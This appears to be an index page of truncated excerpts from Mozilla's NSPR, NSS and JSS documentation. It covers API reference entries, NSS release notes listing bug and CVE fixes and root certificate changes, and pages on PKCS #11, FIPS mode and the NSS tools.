rom a connected socket. syntax #include <prio.h> print32 pr_recv( prfiledesc *fd, void *buf, print32 amount, printn flags, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a socket. buf a pointer to a buffer to hold the data received. amount the size of buf (in bytes). flags must be zero or pr_msg_peek. timeout a value of type printervaltime specifying the time limit for completion of the receive operation. returns the function returns one of the following values: a positive number indicates the number of bytes actually received. the value 0 means the network connection is closed. the value -1 indicates a failure. the reason for the failure can be obtained by calling pr_geterror...
PR_cnvtf
ese parameters: buf the address of the buffer in which to store the result. bufsz the size of the buffer provided to hold the result. prcsn the number of digits of precision to which to generate the floating point value. fval the double-precision floating point number to be converted. description pr_cnvtf is a simpler interface to convert a floating point number to a string. it conforms to the ecma standard of javascript (ecmascript). on return, the result is written to the buffer pointed to by buf of size bufsz. ...
PR_htonl
syntax #include <prnetdb.h> pruint32 pr_htonl(pruint32 conversion); parameter the function has the following parameter: conversion the 32-bit unsigned integer, in host byte order, to be converted. returns the value of the conversion parameter in network byte order. ...
PR_htons
syntax #include <prnetdb.h> pruint16 pr_htons(pruint16 conversion); parameter the function has the following parameter: conversion the 16-bit unsigned integer, in host byte order, to be converted. returns the value of the conversion parameter in network byte order. ...
PR_ntohl
syntax #include <prnetdb.h> pruint32 pr_ntohl(pruint32 conversion); parameter the function has the following parameter: conversion the 32-bit unsigned integer, in network byte order, to be converted. returns the value of the conversion parameter in host byte order. ...
PR_ntohs
syntax #include <prnetdb.h> pruint16 pr_ntohs(pruint16 conversion); parameter the function has the following parameter: conversion the 16-bit unsigned integer, in network byte order, to be converted. returns the value of the conversion parameter in host byte order. ...
Process Initialization
this chapter describes the nspr api for versioning, process initialization, and shutdown of nspr. identity and versioning initialization and cleanup module initialization identity and versioning name and version constants pr_name pr_version pr_versioncheck initialization and cleanup nspr detects whether the library has been initialized and performs implicit initialization if it hasn't. implicit initialization should suffice unless a program has specific sequencing requirements or needs to characterize the primordial thread. explicit initialization is rarely necessary. implicit initialization assumes that the initiator is the primordial thread and that the thread is a user thread of normal priority. pr_init pr_initialize pr_initialized pr_cleanup pr_disableclockinterr...
Process Management and Interprocess Communication
l with processes. a process is an instance of a program. nspr provides routines to create a new process and to wait for the termination of another process. nspr does not provide an equivalent of the unix fork(). the newly-created process executes its program from the beginning. a new process can inherit specified file descriptors from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descriptors. note that the functions described in this chapter are not available for macos or win16 operating systems. process management types and constants the types defined for process management are: prprocess prprocessattr process management functions the process manipulation function fall into these categories: setting the attributes of a...
NSS Certificate Download Specification
rtificate loader will recognize several binary formats. they are: der encoded certificate: this is a single binary der encoded certificate. pkcs#7 certificate chain: this is a single pkcs#7 signeddata object. the only significant field in the signeddata object is the certificates field, which may contain multiple certificates to be imported together. the contents of the version, digestalgorithms, contentinfo, crls, and signerinfos fields are ignored. netscape certificate sequence: this is another pkcs#7 object format, and like the signeddata format, it allows multiple certificates to be imported together. this format is simpler than the pkcs#7 signeddata object format. it consists of a pkcs#7 contentinfo structure, wrapping a sequence of certificates. the contenttype field oid must be n...
4.3 Release Notes
brary from the exact same release. to obtain the version info from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feedback bugs discovered should be reported by filing a bug report with bugzilla. you can also give feedback directly to the developers on the mozilla cryptography forums... mailing list newsgroup rss feed ...
JSS FAQ
Mozilla › Projects › NSS › JSS › JSS FAQ
est.java other test code that may prove useful: org/mozilla/jss/asn1/integer.java org/mozilla/jss/asn1/sequence.java org/mozilla/jss/asn1/set.java org/mozilla/jss/pkcs10/certificationrequest.java org/mozilla/jss/pkcs12/pfx.java org/mozilla/jss/pkix/cert/certificate.java org/mozilla/jss/pkix/cmmf/certrepcontent.java org/mozilla/jss/pkix/crmf/certreqmsg.java org/mozilla/jss/pkix/crmf/certtemplate.java org/mozilla/jss/pkix/primitive/name.java org/mozilla/jss/provider/javax/crypto/jsssecretkeyfactoryspi.java org/mozilla/jss/util/utf8converter.java org/mozilla/jss/util/base64inputstream.java jss/samples/pqggen.java jss/samples/pkcs12.java if i don't call setcipherpolicy, is the domestic policy used by ...
Using JSS
Mozilla › Projects › NSS › JSS › Using JSS
pkcs #11, and utilities http://ftp.mozilla.org/pub/mozilla.org/security/nss/releases ssl3 nss ssl library smime3 nss s/mime functions and types nssckbi pkcs #11 module containing built-in root ca certificates. optional. freebl_* processor-specific optimized big-number arithmetic library. not present on all platforms. more information... fort fortezza support. optional swft pkcs #11 module implementing fortezza in software. optional. if you built jss from source, you have these libraries in the mozilla/dist/<platform>/lib directory of your build tree. if you are downloading binaries, get them from the binary release locations in the above table. you need ...
JSS
Mozilla › Projects › NSS › JSS
mailing list newsgroup rss feed related topics security ...
NSS_3.11.10_release_notes.html
b/mozilla.org/security/nss/releases/nss_3_11_10_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or zip file. the tar.gz or zip file expands to an nss-3.11.10 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.11.10 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. bugs fixed the following bugs have been fixed in nss 3.11.10. bug 291384: certutil -k behavior doesn't match usage bug 374247: modutil -dis...
NSS_3.12.1_release_notes.html
pub/mozilla.org/security/nss/releases/nss_3_12_1_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or zip file. the tar.gz or zip file expands to an nss-3.12.1 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.1 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. new in nss 3.12.1 new functions in the nss shared library: cert_nametoasciiinvertible (see cert.h) convert an certname into its rfc1485 encoded...
NSS 3.12.5 release_notes
le on ftp.mozilla.org for secure https download: source tarball: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_5_rtm/src/. new in nss 3.12.5 ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability. all ssl/tls renegotiation is disabled by default in nss 3.12.5. this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf. if an application depends on renegotiation feature, it can be enabled by setting the environment variable nss_ssl_enable_renegotiation to 1. by setting this environme...
NSS 3.12.6 release notes
sslt.h) new functions in cert.h certdistnames: duplicate distinguished name array. cert_distnamesfromcertlist: generate an array of distinguished names from a list of certs. in ocsp.h cert_cacheocspresponsefromsidechannel: this function is intended for use when ocsp responses are provided via a side-channel, i.e. tls ocsp stapling (a.k.a. the status_request extension). in ssl.h ssl_getimplementedciphers ssl_getnumimplementedciphers ssl_handshakenegotiatedextension ...
NSS 3.14.1 release notes
bug 802429 - in previous versions of nss, the "cipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead. nss now correctly respects the supplied cipherorder. applications which use multiple pkcs#11 modules, which do not indicate which tokens should be used by default for particular algorithms, and which do make use of cipherorder may now find that cryptographic operations occur on a different pkcs#11 token. bug 802429 - the nss softoken is now the default token for sha-256 and sha-512. in previous versions of nss, these algorithms would be handled by the most recently added pkcs#11 token that supported them. bug 611451 - when built with the current version of apple xcode on mac os...
NSS 3.14 release notes
sfies the policies. ...
NSS 3.15.1 release notes
256, tls_rsa_with_aes_128_cbc_sha256, tls_rsa_with_null_sha256 - new tls 1.2 only hmac-sha256 cipher suites. in sslerr.h ssl_error_unsupported_hash_algorithm, ssl_error_digest_failure, ssl_error_incorrect_signature_algorithm - new error codes for tls 1.2. in sslt.h ssl_hmac_sha256 - a new value in the sslmacalgorithm enum type. ssl_signature_algorithms_xtn - a new value in the sslextensiontype enum type. new pkcs #11 mechanisms none. notable changes in nss 3.15.1 bug 856060 - enforce name constraints on the common name in libpkix when no subjectaltname is present. bug 875156 - add const to the function arguments of sec_certnicknameconflict. bug 877798 - fix ssltap to print the certificate_status handshake message correctly. b...
NSS 3.15.2 release notes
lly, the following cipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_cipherfinal has been introduced, which is a simple alias for pk11_digestfinal. new types no new types have been introduced. new pkcs #11 mechanisms no new pkcs#11 mechanisms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures. bug 884178 - add pk11_cipherfinal macro bugs fixed in nss 3.15.2 bug 734007 - sizeof() use...
NSS 3.15.4 release notes
output lines. new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post. new pkcs #11 mechanisms none. notable changes in nss 3.15.4 reordered the cipher suites offered in ssl/tls client hello messages to match modern best practices. updated the set of root ca certificates (version 1.96). improved ssl/tls false start. in addition to enabling the ssl_enable_false_start option, an application must now register a callback using the ssl_setcanfalsestartcallback function. when building on wi...
NSS 3.16.3 release notes
3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/ new in nss 3.16.3 this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function. new functions in cert.h ​cert_getgeneralnametypefromstring - an utlity function to lookup a value of type certgeneralnametype given a human readable string. this function was already added in nss 3.16.2, however, it wasn't declared in a public header file. notable changes in nss 3.16.3 the following 1024-bit ca certificates were removed cn = entrust.net secure server certification authority sha1 fingerprint: 99:a6:9b:e6:1a:fe...
NSS 3.16 release notes
nss 3.16 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_rtm/src/ new in nss 3.16 new functionality supports the linux x32 abi. (this requires nspr 4.10.4.) to build for the linux x32 target, set the environment variable use_x32=1 when building nss. new functions in cms.h nss_cmssignerinfo_verify - verify the signature of a single signerinfo. it just verifies the signature, assuming that the certificate has been verified already. new macros in sslproto.h tls_rsa_with_rc4_128_sha, tls_rsa_with_3des_ede_cbc_sha, etc. - cipher suites that were first defined in ssl 3.0 can now be referred to with their official iana names in tls, with the tls_ pr...
NSS 3.17.1 release notes
ssl.h ssl_enable_fallback_scsv - an ssl socket option that enables tls_fallback_scsv. off by default. in sslerr.h ssl_error_inappropriate_fallback_alert - a new ssl error code. in sslproto.h tls_fallback_scsv - a a signaling cipher suite value that indicates a handshake is the result of tls version fallback. notable changes in nss 3.17.1 signature algorithms now use sha-256 instead of sha-1 by default. added support for linux on little-endian powerpc64. bugs fixed in nss 3.17.1 this bugzilla query returns all the bugs fixed in nss 3.17.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.1 acknowledgements the nss development team would like to thank anto...
NSS 3.19.1 release notes
is nss_3_19_1_rtm. nss 3.19.1 requires nspr 4.10.8 or newer. nss 3.19.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorithms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits. new in nss 3.19.1 new functionality no new functionality is introduced in this release. this patch release includes a fix for the recently published logjam attack. notable changes in nss 3.19.1 nss reports the bit length of keys more accurately. thus, the seckey_publickeystrength and seckey_publickeystrengthinbits functions...
NSS 3.19.3 release notes
a:fd:38:3f:b0:3d:7b:7d:d7:b9:c6 cn = tc trustcenter universal ca i sha-1 fingerprint: 6b:2f:34:ad:89:58:be:62:fd:b0:6b:5c:ce:bb:9d:d9:4f:4e:39:f3 cn = tc trustcenter class 2 ca ii sha-1 fingerprint: ae:50:83:ed:7c:f4:5c:bc:8f:61:c6:21:fe:68:5d:79:42:21:15:6e the following ca certificate had the websites trust bit turned off cn = comsign secured ca sha1 fingerprint: f9:cd:0e:2c:da:76:24:c1:8f:bd:f0:f0:ab:b6:45:b8:f7:fe:d5:7a the following ca certificates were added cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h5 sha1 fingerprint: c4:18:f6:4d:46:d1:df:00:3d:27:30:13:72:43:a9:12:11:c6:75:fb cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 ...
NSS 3.28.3 release notes
ownload: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_28_3_rtm/src/ new in nss 3.28.3 new functionality no new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.28.3 nss version 3.28, 3.28.1 and 3.28.2 contained changes that were in violation with the nss compatibility promise. ecparams, which is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional attribute. that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has b...
NSS 3.29.1 release notes
d: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_1_rtm/src/ new in nss 3.29.1 new functionality no new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.29.1 nss version 3.28, 3.28.1, 3.28.2 and 3.29 contained changes that were in violation with the nss compatibility promise. ecparams, which is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional attribute. that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has b...
NSS 3.30 release notes
(nssckbi), cas with positive trust are marked with a new boolean attribute, cka_nss_mozilla_ca_policy, set to true. applications that need to distinguish them from other other root cas, may use the exported function pk11_hasattributeset. support for callback functions that can be used to monitor ssl/tls alerts that are sent or received. new functions in cert.h cert_compareava - performs a comparison of two certava structures, and returns a seccomparison result. in pk11pub.h pk11_hasattributeset - allows to check if a pkcs#11 object in a given slot has a specific boolean attribute set. in ssl.h ssl_alertreceivedcallback - register a callback function, that will be called whenever an ssl/tls alert is received ssl_alertsentcallback - register a callback f...
NSS 3.31 release notes
e been changed to return success, if at least one tls version overlaps between the requested range and the systemwide policy. an application may call ssl_versionrangeget and ssl_versionrangegetdefault to query the tls version range that was effectively activated. corrected the encoding of domain name constraints extensions created by certutil nss supports a clean seeding mechanism for *nix systems now using only /dev/urandom. this is used only when seed_only_dev_urandom is set at compile time. cert_asciitoname can handle oids in dotted decimal form now. bugs fixed in nss 3.31 this bugzilla query returns all the bugs fixed in nss 3.31: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.31 compatibili...
NSS 3.32 release notes
:b8:f4:dc:d0:60:16 cn = china internet network information center ev certificates root sha-256 fingerprint: 1c:01:c6:f4:db:b2:fe:fc:22:55:8b:2b:ca:32:56:3f:49:84:4a:cf:c3:2b:7b:e4:b0:ff:59:9f:9e:8c:7a:f7 cn = cnnic root sha-256 fingerprint: e2:83:93:77:3d:a8:45:a6:79:f2:08:0c:c7:fb:44:a3:b7:a1:c3:79:2c:b7:eb:77:29:fd:cb:6a:8d:99:ae:a7 cn = comsign secured ca sha-256 fingerprint: 50:79:41:c7:44:60:a0:b4:70:86:22:0d:4e:99:32:57:2a:b5:d1:b5:bb:cb:89:80:ab:1c:b1:76:51:a8:44:d2 cn = geotrust global ca 2 sha-256 fingerprint: ca:2d:82:a0:86:77:07:2f:8a:b6:76:4f:f0:35:67:6c:fe:3e:5e:32:5e:01:21:72:df:3f:92:09:6d:b7:9b:85 cn = secure certificate services sha-256 fingerprint: bd:81:ce:3b:4f:65...
NSS 3.33 release notes
ps download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_33_rtm/src/ notable changes in nss 3.33 tls compression is no longer supported. api calls that attempt to enable compression are accepted without failure. however, tls compression will remain disabled. this version of nss uses a formally verified implementation of curve25519 on 64-bit systems. the compile time flag disable_ecc has been removed. when nss is compiled without nss_force_fips=1 startup checks are no longer performed. fixes cve-2017-7805, a potential use-after-free in tls 1.2 server, when verifying client authentication. various minor improvements and correctness fixes. new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the data...
NSS 3.35 release notes
. note: in this release, support for new rsa_pss_pss_shax signature schemes have been disabled; end-entity certificates with rsa-pss keys will still be used to produce signatures, but they will use the rsa_pss_rsae_shax codepoints. note: the value of ssl_tls13_key_share_xtn value, from the sslextensiontype, has been renumbered to match changes in tls 1.3. this is not expected to cause problems; code compiled against previous versions of tls will now refer to an unsupported codepoint, if this value was used. recompilation should correct any mismatches. note: dtls support is promoted in draft -23, but this is currently not compliant with the dtls 1.3 draft -23 specification. tls servers are able to handle a clienthello statelessly, if the client supports tls 1.3. if the server...
NSS 3.36.1 release notes
nctionality is introduced in this release. this is a patch release to fix regression bugs. notable changes in nss 3.36.1 in nss version 3.35 the iteration count in optimized builds, which is used for password based encryption algorithm related to encrypted pkcs#7 or pkcs#12 data, was increased to one million iterations. that change had caused an interoperability regression with operating systems that are limited to 600 k iterations. nss 3.36.1 has been changed to use the same 600 k limit. bugs fixed in nss 3.36.1 certain smartcard operations could result in a deadlock. this bugzilla query returns all the bugs fixed in nss 3.36.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.1 compatibi...
NSS 3.36.6 release notes
s: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_6_rtm/src/ new in nss 3.36.6 new functionality no new functionality is introduced in this release. this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platforms. compatibility nss 3.36.6 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.36.6 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of ...
NSS 3.36.7 release notes
ecure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_7_rtm/src/ other releases are available in nss releases. new in nss 3.36.7 new functionality no new functionality is introduced in this release. this is a patch release to fix bugs. bugs fixed in nss 3.36.7 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash. thanks to hanno böck and damian poddebniak for the discovery and fixes. (cve-2018-18508) compatibility nss 3.36.7 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.36.7 shared libraries without recompiling or relinking. furthermore, applications that r...
NSS 3.37.3 release notes
ource distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_3_rtm/src/ new in nss 3.37.3 new functionality no new functionality is introduced in this release. this is a patch release to fix regression bugs. bugs fixed in nss 3.37.3 bug 1459739 - fix build on armv6/armv7 and other platforms. bug 1461731 - fix crash on macos related to authentication tokens, e.g. pk11or webauthn. compatibility nss 3.37.3 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.37.3 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis...
NSS 3.41.1 release notes
ecure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_41_1_rtm/src/ other releases are available in nss releases. new in nss 3.41.1 new functionality no new functionality is introduced in this release. this is a patch release to fix bugs. bugs fixed in nss 3.41.1 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash. thanks to hanno böck and damian poddebniak for the discovery and fixes. (cve-2018-18508) this bugzilla query returns all bugs fixed in 3.41.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41.1 compatibility nss 3.41.1 shared libraries are backward compatible with al...
NSS 3.41 release notes
c18d91b4cfdffbc25ee9103d4758ea2abad826a90f3457d460eb4 cn = opentrust root ca g2 sha-256 fingerprint: 27995829fe6a7515c1bfe848f9c4761db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.41 bug 1412829, reject empty supported_signature_algorithms in certificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - resend the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss ...
NSS 3.42.1 release notes
nss_3_42_1_rtm. nss 3.42.1 requires nspr 4.20 or newer. nss 3.42.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_1_rtm/src/ other releases are available in nss releases. bugs fixed in nss 3.42.1 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash. thanks to hanno böck and damian poddebniak for the discovery and fixes. this was originally announced in nss 3.42, but was mistakenly not included in the release. (cve-2018-18508) this bugzilla query returns all the bugs fixed in nss 3.42.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&...
NSS 3.42 release notes
- added aes-gcm test cases bug 1508673 - added chacha20-poly1305 test cases bug 1514999 - added the curve25519 test cases thanks to jonas allmann for adapting these tests. bugs fixed in nss 3.42 bug 1490006 - reject invalid ch.legacy_version in tls 1.3 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash. thanks to hanno böck and damian poddebniak for the discovery and fixes. note: this was mistakenly not in release 3.42, and is instead in nss 3.42.1. bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.
NSS 3.44.1 release notes
a program linked with older nss 3.x shared libraries will work with nss 3.44.1 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functi...
NSS 3.44 release notes
ther releases are available in nss releases. new in nss 3.44 new functionality new functions in lib/certdb/cert.h cert_getcertificateder - access the der-encoded form of a certcertificate. notable changes in nss 3.44 it is now possible to build nss as a static library (bug 1543545) initial support for building for ios. ...
NSS 3.45 release notes
374 - cn = certinomis - root ca sha-256 fingerprint: 2a99f5bc1174b73cbb1d620884e01c34e51ccb3978da125f0e33268883bf4158 bugs fixed in nss 3.45 bug 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) bug 1515342 - more thorough input checking (cve-2019-11729) bug 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorithms in tls 1.3 (cve-2019-11727) bug 1227090 - fix a potential divide-by-zero in makepfromqandseed from lib/freebl/pqg.c (static analysis) bug 1227096 - fix a potential divide-by-zero in pqg_verifyparams from lib/freebl/pqg.c (static analysis) bug 1509432 - de-duplicate code between mp_set_long and mp_set_ulong bug 1515011 - fix a mistake with chacha20-poly1305 test code where tags could be fak...
NSS 3.46 release notes
hangs on windows x64 when building nss since changeset 9162c654d06915f0f15948fbf67d4103a229226f bug 1564875 - improve rebuilding with build.sh bug 1565243 - support tc_owner without email address in nss taskgraph bug 1563778 - increase...
NSS 3.49.2 release notes
releases. new in nss 3.49.2 no new functionality is introduced in this release. bugs fixed in nss 3.49.2 bug 1606992 - cache the most recent pbkdf1 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts. nss 3.49.1 sped up pbkdf2 operations, though pbkdf1 operations are also relevant for older nss databases. ...
NSS 3.49 release notes
ee bug 1594933 for details. bugs fixed in nss 3.49 bug 1513586 - set downgrade sentinel for client tls versions lower than 1.2. ...
NSS Config Options
rc2 rc4 idea ssl key exchanges rsa rsa-export dhe-rsa dhe-dss dh-rsa dh-dss ecdhe-ecdsa ecdhe-rsa ecdh-ecdsa ecdh-rsa restrictions for asymmetric keys (integers) rsa-min dh-min dsa-min constraints on ssl protocols versions (integers) tls-version-min tls-version-max constraints on dtls protocols versions (integers) dtls-version-min dtls-version-max policy flags for algorithms ssl ssl-key-exchange key-exchange cert-signature signature all none ...
NSS Sample Code sample6
_getbestslot(ciphermech, null); didn't work. * error code: token is read-only. ?? */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyiditem.type = sibuffer; keyiditem.data = (void *)keyid; keyiditem.len = sizeof(keyid[0]); /* note: keysize must be 0 for fixed key-length algorithms like des. * since we're using aes in this example, we're specifying * one of the valid keysizes (16, 24, 32) */ key = pk11_tokenkeygen(slot, ciphermech, 0, 32 /*keysize*/, &keyiditem, pr_true, 0); if (key == null) { fprintf(stderr, "pk11_tokenkeygen failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } f...
nss tech note6
tokn3.chk. the following applies to nss 3.8 through 3.10 : on 32-bit solaris sparc (i.e., not x86, and not 64-bit sparc) and 32-bit hp-ux pa-risc (i.e., not itanium, and not 64-bit pa-risc), there are two more .chk files: libfreebl_pure32_3.chk and libfreebl_hybrid_3.chk. the following applies to nss 3.11 : the low-level freebl cryptographic code has been separated from softoken on all platforms. even on platforms for which there is only one implementation of freebl, there is now a separate freebl shared library. the freebl library implements a private interface internal to nss. on 32-bit windows and 32-bit os/2, this shared library is called freebl3.dll, and the corresponding .chk file is called freebl3.chk . on 32-bit solaris x86, 64-bit solaris x64 (amd64), 32-bit linux x86, 64-bit l...
nss tech note8
2 ssl_sid_timeout; (the ssl2 session lifetime) extern pruint32 ssl3_sid_timeout; (the ssl3 session lifetime) each of these variables applied to both client and server sessions. that is, the client session lifetime was not separately settable from the server session lifetime. these two variables were private, declared in a private header file. there was no api function by which client programs could set these values. however since nss was delivered as archive libraries, client programs merely declared these two variables for themselves, and then were able to alter those variables directly. for server programs, the function for initializing the server session cache would set these two variables according to two of the arguments to that function. so, ssl protocol code that wanted to ca...
Notes on TLS - SSL 3.0 Intolerant Servers
this is the main symptom of the problem when mozilla based browsers encounter tls/ssl 3.0 intolerant servers. cause there are some number of web servers in production today which incorrectly implement the ssl 3.0 specification. ...
PKCS11 module installation
using the firefox preferences to install pkcs #11 modules save the pkcs #11 module to a permanent location on your local computer open the firefox preferences dialog. choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client database". note: there is currently a bug in firefox where international characters may cause problems. choose "browse..." to find the location of the pkcs #11 module on your local computer, and choose "ok" when done. provisioning pkcs #11 modules using the pkcs11 api starting with firefox 58, extensions can use the pkcs11 browser extension api to enumerate pkcs #11 modules and make them accessible to the browser as sources of keys and certificates. ...
PKCS11 Implement
nal token when the key database password is null. these are not standard pkcs #11 semantics; they are intended for nss's internal use only. true true the device has been initialized and requires authentication. the nss checks whether the user is logged on, and if not prompts the user for a pin. c_getmechanismlist the nss calls c_getmechanismlist fairly frequently to identify the mechanisms supported by a token. c_getmechanisminfo the nss currently doesn't call c_getmechanisminfo. this function may be called in the future, so you should implement it anyway. c_inittoken the nss never calls c_inittoken. c_initpin the nss calls c_initpin only in the key generation case, as noted in this document under c_gettokeninfo, when cfk_login_required = true and cfk_user_pin_initialized ...
FC_Initialize
summary fc_initialize - initialize the pkcs #11 library. syntax ck_rv fc_initialize(ck_void_ptr pinitargs); parameters pinitargs points to a ck_c_initialize_args structure. description fc_initialize initializes the nss cryptographic module for the fips mode of operation. in addition to creating the internal data structures, it performs the fips software integrity test and power-up self-tests. the pinitargs argument must point to a ck_c_initialize_args structure whose members should have the following values: createmutex should be null. destroymutex should be null. lockmutex should be null. unlockmutex should be null. flags should be ckf_os_locking_ok. libraryparameters should point to a string that contains the library parameters. preserved should be null. the lib...
NSS Key Functions
...
FIPS mode of operation
tions support dsa, rsa, ecdsa, and hmac. fc_verifyinit fc_verify fc_verifyupdate fc_verifyfinal fc_verifyrecoverinit fc_verifyrecover dual-function cryptographic functions fc_digestencryptupdate fc_decryptdigestupdate fc_signencryptupdate fc_decryptverifyupdate key management functions fc_generatekey: dsa domain parameters (pqg) fc_generatekeypair: dsa, rsa, and ecdsa. performs pair-wise consistency test. fc_wrapkey: rsa key wrapping fc_unwrapkey: rsa key wrapping fc_derivekey: diffie-hellman, ec diffie-hellman random number generation functions fc_seedrandom fc_generaterandom: performs continuous random number generator test. parallel function management functions fc_getfunctionstatus fc_cancelfunction ...
NSS Tools Man Pages - work in progress
certutil certutil pk12util pk12util modutil modutil crlutil crlutil cmsutil cmsutil vfychain vfychain vfyserv vfyserv ssltap ssltap this is still a work in progress and in early stages. these man pages where generated from xml docbook files. ...
OLD SSL Reference
tory. ssl, pkcs #11, and the default security databases setting up the certificate and key databases setting up the ca db and certificate setting up the server db and certificate setting up the client db and certificate verifying the server and client certificates building nss programs chapter 3 selected ssl types and structures this chapter describes some of the most important types and structures used with the functions described in the rest of this document, and how to manage the memory used for them. additional types are described with the functions that use them or in the header files. types and structures certcertdbhan...
sslkey.html
...
NSS Tools
